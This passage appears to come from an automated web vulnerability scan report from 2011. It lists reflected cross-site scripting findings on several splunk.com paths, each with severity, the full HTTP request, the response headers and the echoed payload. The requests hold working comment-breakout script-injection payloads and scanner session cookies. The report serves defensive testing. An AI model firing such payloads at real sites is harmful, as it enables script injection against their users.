Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:11:21 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 621932632d80da436180c3b517f5cfe51296943881
Last-Modified: Sat, 05 Feb 2011 22:11:21 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 36444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>58e995154fc=1 -->
...[SNIP]...

4.466. http://www.splunk.com/page/submit_issue [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/submit_issue

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload e793d--><script>alert(1)</script>27fe6ecb2fa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /pagee793d--><script>alert(1)</script>27fe6ecb2fa/submit_issue HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:11:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:41:58 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:41:58 GMT; path=/
ETag: 71556ab4739ff7dd728f8c22a748b2501296943918
Last-Modified: Sat, 05 Feb 2011 22:11:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18339

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>27fe6ecb2fa/submit_issue -->
...[SNIP]...

4.467. http://www.splunk.com/page/submit_issue [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/submit_issue

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 55722--><script>alert(1)</script>48a34806daf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/submit_issue55722--><script>alert(1)</script>48a34806daf HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:28 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18232

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>48a34806daf -->
...[SNIP]...

4.468. http://www.splunk.com/page/track_issues [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/track_issues

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 4498a--><script>alert(1)</script>9dced1a1b1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page4498a--><script>alert(1)</script>9dced1a1b1/track_issues HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:11:42 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:41:42 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:41:42 GMT; path=/
ETag: 49f98c5d8e5e2ba907c8b57b4a3e6f8b1296943902
Last-Modified: Sat, 05 Feb 2011 22:11:42 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18335

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9dced1a1b1/track_issues -->
...[SNIP]...

4.469. http://www.splunk.com/page/track_issues [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/track_issues

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 2c1ab--><script>alert(1)</script>52e32428f4c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/track_issues2c1ab--><script>alert(1)</script>52e32428f4c HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:10 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18232

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>52e32428f4c -->
...[SNIP]...

4.470. http://www.splunk.com/partners [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/partners

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload d1796--><script>alert(1)</script>c786baa5caf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /partnersd1796--><script>alert(1)</script>c786baa5caf HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:22:11 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:52:11 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:52:11 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18303

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>c786baa5caf -->
...[SNIP]...

4.471. http://www.splunk.com/partners [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/partners

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 562e4--><script>alert(1)</script>27a14dfb8bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /partners?562e4--><script>alert(1)</script>27a14dfb8bd=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:15 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 54691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>27a14dfb8bd=1 -->
...[SNIP]...

4.472. http://www.splunk.com/product [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/product

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 35d1b--><script>alert(1)</script>538a51777cb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /product35d1b--><script>alert(1)</script>538a51777cb HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:00 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:00 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:00 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18299

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>538a51777cb -->
...[SNIP]...

4.473. http://www.splunk.com/product [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/product

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 35e00--><script>alert(1)</script>f5599213e69 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /product?35e00--><script>alert(1)</script>f5599213e69=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:57 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 30841

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f5599213e69=1 -->
...[SNIP]...

4.474. http://www.splunk.com/search/docs [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/search/docs

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload dd2d6--><script>alert(1)</script>2a06c6fb131 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /searchdd2d6--><script>alert(1)</script>2a06c6fb131/docs HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:46 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:46 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:46 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18315

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
